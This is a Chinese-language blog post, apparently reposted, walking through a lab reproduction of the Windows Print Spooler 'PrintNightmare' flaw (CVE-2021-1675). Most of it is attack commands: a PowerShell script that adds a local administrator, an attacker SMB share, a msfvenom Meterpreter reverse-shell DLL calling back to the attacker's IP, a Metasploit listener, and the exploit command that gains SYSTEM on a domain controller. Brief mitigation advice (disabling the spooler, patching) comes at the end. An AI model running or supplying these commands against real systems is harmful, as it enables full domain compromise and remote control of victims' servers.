暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Windows Print Spooler RCE 复现

小9运维 2021-07-29
1631

前言

Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中,攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序。

若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。

攻击者可以利用任何经过身份验证的用户都可以调用RpcAddPrinterDriverEx()并指定位于远程服务器上的驱动程序文件这一事实。这会导致 Print Spooler 服务spoolsv.exe以 SYSTEM 权限执行任意 DLL 文件中的代码。

0x00 PowerShell脚本实现本地提权

漏洞环境:Windows10 2004 家庭版

漏洞条件:(默认)开启Print Spooler服务


漏洞EXP:https://github.com/calebstewart/CVE-2021-1675

Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "john" -NewPassword "P@ssw0rd" -DriverName "Win"

net localgroup Administrators


runas /user:john powershell.exe # 以john身份启动powershell.exe


0x01 Windows Spooler Service RCE 域控

漏洞环境

受害机:【域控】Windows server 2019(192.168.138.128) 

攻击机:Kali(192.168.138.131)

漏洞条件

  • 域控中一个普通的域用户harden

  • 域控默认开启Spooler服务
  • 域控开启SMB服务
  • 域控Windows Defender及相关安全防护关闭
"0xe1 - ERROR VIRUS INFECTED"

漏洞利用

首先,在攻击机Kali中配置SMB服务

nano /etc/samba/smb.conf

[global]
workgroup = workgroup
server string = test
netbios name = MZ
security = user
map to guest = Bad User
smb ports = 445
log file = /var/log/samba/log.%m
max log size = 5

[smb]
comment = Samba
browseable = yes
writeable = yes
public = yes
path = /tmp/
read only = no
guest ok = yes

配置成功后开启SMB服务,sudo service smbd start
,使用域控访问SMB服务,可以正常访问


现在,在Kali中安装漏洞利用所需要的修改版的impacket
模块

git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

进而将EXP下载到本地

git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675/
python3 CVE-2021-1675.py -h

接着,通过以下命令来验证域控是否存在漏洞

rpcdump.py @192.168.138.128  | grep MS-RPRN 

此时,准备工作就绪,我们正式开始漏洞利用!

在可被域控通过SMB服务访问到的Kali/tmp
目录下生成dll文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.138.131 LPORT=4444 -f dll -o /rever.dll

使用MSF设置监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.138.131
set lport 4444

最后,执行如下命令,MSF上线

# python3 CVE-2021-1675.py AD域名/普通域用户:用户密码@域控地址 ‘恶意dll文件共享地址’
python3 CVE-2021-1675.py Nets.Brooklyn/harden:xxxxxx@192.168.138.128 '\\192.168.138.131\smb\rever.dll'

可以看到,成功弹回域控权限:nt authority\system

0x02 踩坑

1、在域控中创建新用户时,默认设置了用户下次登录必须修改密码

创建用户harden
之后未进行首次登录修改密码,在最后一步漏洞执行时显示连接失败

2、域控Windows Defender未关闭,在最后一步漏洞执行时报错

0x03 漏洞防御

以下几种方式处理:

  • 禁用samba服务于Print Spooler服务

Win+R中输入services.msc
选择print spooler服务禁用

  • 及时选择对应版本进行Windows更新补丁

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675

参考

cve-2021-1675复现

CVE-2021-1675-and-CVE-2021-34527-PrintNightmare

Win10 Windows Server2019局域网SMB不能正常共享解决办法


文章转载自小9运维,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论